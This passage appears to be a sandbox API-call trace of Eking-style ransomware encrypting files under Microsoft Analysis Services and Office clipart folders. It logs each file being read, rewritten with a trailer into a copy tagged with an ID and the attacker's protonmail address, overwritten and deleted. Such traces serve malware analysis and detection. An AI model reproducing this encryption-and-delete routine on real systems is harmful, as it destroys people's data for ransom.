"c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sybase.xsl")) returned 0x20 [0184.890] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Sybase.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sybase.xsl")) returned 0x20 [0184.890] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Sybase.xsl.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sybase.xsl.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0184.891] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Sybase.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sybase.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0184.891] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fcd8 | out: lpNewFilePointer=0x0) returned 1 [0184.891] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fcd8 | out: lpNewFilePointer=0x0) returned 1 [0184.891] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Sybase.xsl.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sybase.xsl.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x1e8 [0184.892] ReadFile (in: hFile=0x1e0, lpBuffer=0x37b0020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2d5fce4, lpOverlapped=0x0 | out: lpBuffer=0x37b0020*, lpNumberOfBytesRead=0x2d5fce4*=0x745e, lpOverlapped=0x0) returned 1 [0184.895] WriteFile (in: hFile=0x1e8, lpBuffer=0x37b0020*, nNumberOfBytesToWrite=0x7460, lpNumberOfBytesWritten=0x2d5fcc8, lpOverlapped=0x0 | out: lpBuffer=0x37b0020*, lpNumberOfBytesWritten=0x2d5fcc8*=0x7460, lpOverlapped=0x0) returned 1 [0184.897] WriteFile (in: hFile=0x1e8, lpBuffer=0x37b0020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2d5fcc8, lpOverlapped=0x0 | out: lpBuffer=0x37b0020*, lpNumberOfBytesWritten=0x2d5fcc8*=0xf2, lpOverlapped=0x0) returned 1 [0184.897] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fa38 | out: lpNewFilePointer=0x0) returned 1 [0184.898] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fa38 | out: lpNewFilePointer=0x0) returned 1 [0184.898] WriteFile (in: hFile=0x1e0, lpBuffer=0x37b0020*, nNumberOfBytesToWrite=0x745e, lpNumberOfBytesWritten=0x2d5fa44, lpOverlapped=0x0 | out: lpBuffer=0x37b0020*, lpNumberOfBytesWritten=0x2d5fa44*=0x745e, lpOverlapped=0x0) returned 1 [0184.901] FlushFileBuffers (hFile=0x1e0) returned 1 [0184.906] FlushFileBuffers (hFile=0x1e8) returned 1 [0184.908] CloseHandle (hObject=0x1e0) returned 1 [0184.908] CloseHandle (hObject=0x1e8) returned 1 [0184.914] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Sybase.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sybase.xsl")) returned 1 [0184.916] SetEvent (hEvent=0x174) returned 1 [0184.916] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\msmdlocal.dll" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\msmdlocal.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0184.917] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=44457320) returned 1 [0184.917] CloseHandle (hObject=0x1e8) returned 1 [0184.918] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\msmdlocal.dll" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\msmdlocal.dll")) returned 0x20 [0184.918] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\msmdlocal.dll" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\msmdlocal.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\msmdlocal.dll.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\msmdlocal.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0 [0184.918] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\msmdlocal.dll.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\msmdlocal.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\msmdlocal.dll" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\msmdlocal.dll")) returned 0 [0184.918] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\msmgdsrv.dll" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\msmgdsrv.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0184.919] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=12338536) returned 1 [0184.919] CloseHandle (hObject=0x1e8) returned 1 [0184.919] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\msmgdsrv.dll" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\msmgdsrv.dll")) returned 0x20 [0184.919] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\msmgdsrv.dll" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\msmgdsrv.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\msmgdsrv.dll.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\msmgdsrv.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0 [0184.919] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\msmgdsrv.dll.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\msmgdsrv.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\msmgdsrv.dll" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\msmgdsrv.dll")) returned 0 [0184.920] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\msolap100.dll" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\msolap100.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0184.920] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=8154984) returned 1 [0184.920] CloseHandle (hObject=0x1e8) returned 1 [0184.921] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\msolap100.dll" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\msolap100.dll")) returned 0x20 [0184.921] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\msolap100.dll" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\msolap100.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\msolap100.dll.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\msolap100.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0 [0184.921] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\msolap100.dll.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\msolap100.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\msolap100.dll" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\msolap100.dll")) returned 0 [0184.921] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\msolui100.dll" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\msolui100.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0184.924] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=318488) returned 1 [0184.924] CloseHandle (hObject=0x1e8) returned 1 [0184.924] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\msolui100.dll" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\msolui100.dll")) returned 0x20 [0184.924] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\msolui100.dll" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\msolui100.dll")) returned 0x20 [0184.924] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\msolui100.dll.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\msolui100.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0184.925] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\msolui100.dll" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\msolui100.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0184.925] SetEvent (hEvent=0x174) returned 1 [0184.925] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msmdsrv.rll" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\resources\\1033\\msmdsrv.rll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0184.926] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=666456) returned 1 [0184.926] CloseHandle (hObject=0x1e8) returned 1 [0184.926] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msmdsrv.rll" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\resources\\1033\\msmdsrv.rll")) returned 0x20 [0184.926] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msmdsrv.rll" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\resources\\1033\\msmdsrv.rll")) returned 0x20 [0184.926] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msmdsrv.rll.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\resources\\1033\\msmdsrv.rll.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0184.927] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msmdsrv.rll" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\resources\\1033\\msmdsrv.rll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0184.927] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fcd8 | out: lpNewFilePointer=0x0) returned 1 [0184.927] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fcd8 | out: lpNewFilePointer=0x0) returned 1 [0184.927] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msmdsrv.rll.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\resources\\1033\\msmdsrv.rll.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x1e0 [0184.931] ReadFile (in: hFile=0x1e8, lpBuffer=0x37b0020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2d5fce4, lpOverlapped=0x0 | out: lpBuffer=0x37b0020*, lpNumberOfBytesRead=0x2d5fce4*=0xa2b58, lpOverlapped=0x0) returned 1 [0184.949] WriteFile (in: hFile=0x1e0, lpBuffer=0x37b0020*, nNumberOfBytesToWrite=0xa2b60, lpNumberOfBytesWritten=0x2d5fcc8, lpOverlapped=0x0 | out: lpBuffer=0x37b0020*, lpNumberOfBytesWritten=0x2d5fcc8*=0xa2b60, lpOverlapped=0x0) returned 1 [0185.223] WriteFile (in: hFile=0x1e0, lpBuffer=0x37b0020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2d5fcc8, lpOverlapped=0x0 | out: lpBuffer=0x37b0020*, lpNumberOfBytesWritten=0x2d5fcc8*=0xf2, lpOverlapped=0x0) returned 1 [0185.223] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fa38 | out: lpNewFilePointer=0x0) returned 1 [0185.223] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fa38 | out: lpNewFilePointer=0x0) returned 1 [0185.224] WriteFile (in: hFile=0x1e8, lpBuffer=0x37b0020*, nNumberOfBytesToWrite=0xa2b58, lpNumberOfBytesWritten=0x2d5fa44, lpOverlapped=0x0 | out: lpBuffer=0x37b0020*, lpNumberOfBytesWritten=0x2d5fa44*=0xa2b58, lpOverlapped=0x0) returned 1 [0185.246] FlushFileBuffers (hFile=0x1e8) returned 1 [0185.544] FlushFileBuffers (hFile=0x1e0) returned 1 [0185.986] CloseHandle (hObject=0x1e8) returned 1 [0185.986] CloseHandle (hObject=0x1e0) returned 1 [0185.996] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msmdsrv.rll" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\resources\\1033\\msmdsrv.rll")) returned 1 [0186.005] SetEvent (hEvent=0x174) returned 1 [0186.006] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00011_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00011_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0186.478] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=7216) returned 1 [0186.478] CloseHandle (hObject=0x1e0) returned 1 [0186.478] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00011_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00011_.gif")) returned 0x20 [0186.478] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00011_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00011_.gif")) returned 0x20 [0186.478] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00011_.GIF.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00011_.gif.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0186.478] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00011_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00011_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0186.479] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fcd8 | out: lpNewFilePointer=0x0) returned 1 [0186.479] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fcd8 | out: lpNewFilePointer=0x0) returned 1 [0186.479] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00011_.GIF.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00011_.gif.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x1e8 [0186.482] ReadFile (in: hFile=0x1e0, lpBuffer=0x37b0020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2d5fce4, lpOverlapped=0x0 | out: lpBuffer=0x37b0020*, lpNumberOfBytesRead=0x2d5fce4*=0x1c30, lpOverlapped=0x0) returned 1 [0186.487] WriteFile (in: hFile=0x1e8, lpBuffer=0x37b0020*, nNumberOfBytesToWrite=0x1c40, lpNumberOfBytesWritten=0x2d5fcc8, lpOverlapped=0x0 | out: lpBuffer=0x37b0020*, lpNumberOfBytesWritten=0x2d5fcc8*=0x1c40, lpOverlapped=0x0) returned 1 [0186.488] WriteFile (in: hFile=0x1e8, lpBuffer=0x37b0020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2d5fcc8, lpOverlapped=0x0 | out: lpBuffer=0x37b0020*, lpNumberOfBytesWritten=0x2d5fcc8*=0xf2, lpOverlapped=0x0) returned 1 [0186.488] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fa38 | out: lpNewFilePointer=0x0) returned 1 [0186.488] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fa38 | out: lpNewFilePointer=0x0) returned 1 [0186.488] WriteFile (in: hFile=0x1e0, lpBuffer=0x37b0020*, nNumberOfBytesToWrite=0x1c30, lpNumberOfBytesWritten=0x2d5fa44, lpOverlapped=0x0 | out: lpBuffer=0x37b0020*, lpNumberOfBytesWritten=0x2d5fa44*=0x1c30, lpOverlapped=0x0) returned 1 [0186.491] FlushFileBuffers (hFile=0x1e0) returned 1 [0186.781] FlushFileBuffers (hFile=0x1e8) returned 1 [0187.019] CloseHandle (hObject=0x1e0) returned 1 [0187.020] CloseHandle (hObject=0x1e8) returned 1 [0187.021] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00011_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00011_.gif")) returned 1 [0187.022] SetEvent (hEvent=0x174) returned 1 [0187.022] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00021_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00021_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0187.287] GetFileSizeEx (in: hFile=0x1f4, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=14873) returned 1 [0187.287] CloseHandle (hObject=0x1f4) returned 1 [0187.287] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00021_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00021_.gif")) returned 0x20 [0187.401] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00021_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00021_.gif")) returned 0x20 [0187.401] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00021_.GIF.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00021_.gif.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0187.747] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00021_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00021_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0187.747] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fcd8 | out: lpNewFilePointer=0x0) returned 1 [0187.747] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fcd8 | out: lpNewFilePointer=0x0) returned 1 [0187.747] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00021_.GIF.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00021_.gif.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x1e0 [0187.973] ReadFile (in: hFile=0x1f4, lpBuffer=0x37b0020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2d5fce4, lpOverlapped=0x0 | out: lpBuffer=0x37b0020*, lpNumberOfBytesRead=0x2d5fce4*=0x3a19, lpOverlapped=0x0) returned 1 [0188.032] WriteFile (in: hFile=0x1e0, lpBuffer=0x37b0020*, nNumberOfBytesToWrite=0x3a20, lpNumberOfBytesWritten=0x2d5fcc8, lpOverlapped=0x0 | out: lpBuffer=0x37b0020*, lpNumberOfBytesWritten=0x2d5fcc8*=0x3a20, lpOverlapped=0x0) returned 1 [0188.034] WriteFile (in: hFile=0x1e0, lpBuffer=0x37b0020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2d5fcc8, lpOverlapped=0x0 | out: lpBuffer=0x37b0020*, lpNumberOfBytesWritten=0x2d5fcc8*=0xf2, lpOverlapped=0x0) returned 1 [0188.035] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fa38 | out: lpNewFilePointer=0x0) returned 1 [0188.035] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fa38 | out: lpNewFilePointer=0x0) returned 1 [0188.035] WriteFile (in: hFile=0x1f4, lpBuffer=0x37b0020*, nNumberOfBytesToWrite=0x3a19, lpNumberOfBytesWritten=0x2d5fa44, lpOverlapped=0x0 | out: lpBuffer=0x37b0020*, lpNumberOfBytesWritten=0x2d5fa44*=0x3a19, lpOverlapped=0x0) returned 1 [0188.038] FlushFileBuffers (hFile=0x1f4) returned 1 [0188.043] FlushFileBuffers (hFile=0x1e0) returned 1 [0188.044] CloseHandle (hObject=0x1f4) returned 1 [0188.045] CloseHandle (hObject=0x1e0) returned 1 [0188.046] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00021_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00021_.gif")) returned 1 [0188.048] SetEvent (hEvent=0x174) returned 1 [0188.048] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00052_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00052_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0188.380] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=7686) returned 1 [0188.380] CloseHandle (hObject=0x1f8) returned 1 [0188.380] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00052_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00052_.gif")) returned 0x20 [0188.539] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00052_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00052_.gif")) returned 0x20 [0188.539] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00052_.GIF.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00052_.gif.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0188.752] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00052_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00052_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0188.752] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fcd8 | out: lpNewFilePointer=0x0) returned 1 [0188.799] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fcd8 | out: lpNewFilePointer=0x0) returned 1 [0188.816] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00052_.GIF.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\microsoft 